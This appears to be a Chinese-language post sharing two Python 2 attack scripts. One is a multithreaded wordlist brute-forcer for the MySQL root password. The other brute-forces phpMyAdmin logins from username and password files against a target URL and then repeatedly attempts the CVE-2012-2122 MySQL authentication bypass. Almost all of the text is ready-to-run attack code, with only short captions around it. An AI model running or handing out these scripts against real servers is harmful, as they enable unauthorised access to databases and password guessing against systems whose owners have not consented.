用Python实现的多线程MySQL暴力破解脚本:
#!/usr/bin/env python
#coding=utf-8
import Queue
from threading import Thread
import sys
import MySQLdb
import time
class End():
def __init__(self):
self.end = False
def Finish(self):
self.end = True
def GetEnd(self):
return self.end
class Connection(Thread):
def __init__(self, queue, TheEnd):
Thread.__init__(self)
self.queue = queue
self.TheEnd = TheEnd
def run(self):
while (not self.TheEnd.GetEnd()) and (not self.queue.empty()):
pwd = self.queue.get()
try:
dbConn = MySQLdb.Connect(user = 'root', passwd = pwd, host = "127.0.0.1", db = 'mysql')
except:
print "[+]root:" + pwd + " Connect wrong.."
continue
print "[+]root:" + pwd + " Connect success.."
self.TheEnd.Finish()
def main():
queue=Queue.Queue()
TheEnd = End()
pwds = [line.rstrip() for line in open("pass.txt")]
for pwd in pwds:
queue.put(pwd)
initsize = queue.qsize()
tested = 0
threads = 8 #修改线程处
for i in range(0, int(threads)):
Connection(queue, TheEnd).start()
while (not TheEnd.GetEnd()) and (not queue.empty()):
time.sleep(2)
actsize = queue.qsize()
tested = initsize - actsize
print 'use %i password | Remaining %i password ' %(tested, actsize)
if __name__ == '__main__':
main()
参考链接:python暴力破解mysql密码
Python版PHPMyAdmin暴力破解
#!/usr/bin/env python
# coding=utf-8
import urllib
import urllib2
import cookielib
import sys
import subprocess
'''
PHPMyAdmin暴力破解 加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用
'''
def Crack(url, username, password):
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar()))
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
params = urllib.urlencode({'pma_username': username, 'pma_password': password})
request = urllib2.Request(url+"/index.php", params, headers)
response = opener.open(request)
a = response.read()
if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
return username, password
return 0
def MySQLAuthenticationBypassCheck(host, port):
i=0
while i<300:
i=i+1
subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host, port), shell=True).wait()
if __name__ == '__main__':
if len(sys.argv)<4:
print "#author:iswinn#useage python pma.py http://www.iswin.org/phpmyadmin/ username.txt password.txt"
sys.exit()
print "Bruting, Pleas wait..."
for name in open(sys.argv[2], "r"):
for passw in open(sys.argv[3], "r"):
state=Crack(sys.argv[1], name, passw)
if state!=0:
print "nLogin successful"
print "UserName: "+state[0]+"tPassWord: "+state[1]
sys.exit()
print "Sorry, Brute failed..., try to use MySQLAuthenticationBypassCheck"
choice = raw_input('Warning:This function needs mysql environment.nY:Try to MySQLAuthenticationBypassChecknOthers:Exitn')
if choice=='Y' or choice=='y':
host=raw_input('Host:')
port=raw_input('Port:')
MySQLAuthenticationBypassCheck(host, port)
这个是单线程的phpmyadmin的暴力破解脚本,然后加上了个“CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用”的检测。